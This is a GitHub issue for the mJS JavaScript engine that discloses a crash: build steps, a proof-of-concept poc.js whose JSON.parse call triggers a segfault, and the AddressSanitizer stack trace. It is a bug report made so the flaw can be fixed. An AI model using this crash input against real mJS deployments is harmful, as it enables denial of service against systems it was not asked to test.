Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

SEGV (/lib/x86_64-linux-gnu/libc.so.6+0x4b44b) #218

Open
hope-fly opened this issue Dec 31, 2021 · 0 comments
Open

SEGV (/lib/x86_64-linux-gnu/libc.so.6+0x4b44b) #218

hope-fly opened this issue Dec 31, 2021 · 0 comments

Comments

@hope-fly
Copy link

hope-fly commented Dec 31, 2021

mJS revision

Commit: b1b6eac

Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)

Build steps
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
Test case
poc.js

function getImmutableArrayOrSet(get, value) {
    ({
        e: "[object " + "Array",
        e: JSON.stringify({
            e: 1,
            f: 2
        })
    })
}
function JSEtest() {
    getImmutableArrayOrSet(true);
    for (let i = 0; i < 2; ([
        JSON.parse(
            '192.015052000001'
        ),

    ])) {
        getImmutableArrayOrSet(false, {});
    }
    let arr = getImmutableArrayOrSet(true);
}
JSEtest();

Execution steps & Output
$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==62116==ERROR: AddressSanitizer: SEGV on unknown address 0x602000010000 (pc 0x7f9a89e6444c bp 0x60200000fff0 sp 0x7fff400ffd90 T0)
==62116==The signal is caused by a READ memory access.
    #0 0x7f9a89e6444b  (/lib/x86_64-linux-gnu/libc.so.6+0x4b44b)
    #1 0x55ca33043e4a in frozen_cb src/mjs_json.c:360
    #2 0x55ca33122876 in json_parse_number src/frozen/frozen.c:288
    #3 0x55ca33122876 in json_parse_value src/frozen/frozen.c:374
    #4 0x55ca33134337 in json_doit src/frozen/frozen.c:434
    #5 0x55ca33134337 in json_walk src/frozen/frozen.c:815
    #6 0x55ca33050873 in mjs_json_parse src/mjs_json.c:450
    #7 0x55ca33056722 in mjs_op_json_parse src/mjs_json.c:510
    #8 0x55ca33010244 in mjs_execute src/mjs_exec.c:853
    #9 0x55ca33019a05 in mjs_exec_internal src/mjs_exec.c:1073
    #10 0x55ca33019a05 in mjs_exec_file src/mjs_exec.c:1096
    #11 0x55ca32fd6909 in main src/mjs_main.c:47
    #12 0x7f9a89e3ab96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #13 0x55ca32fd7449 in _start (/usr/local/bin/mjs+0xe449)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0x4b44b)
==62116==ABORTING

Credits: Found by OWL337 team.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant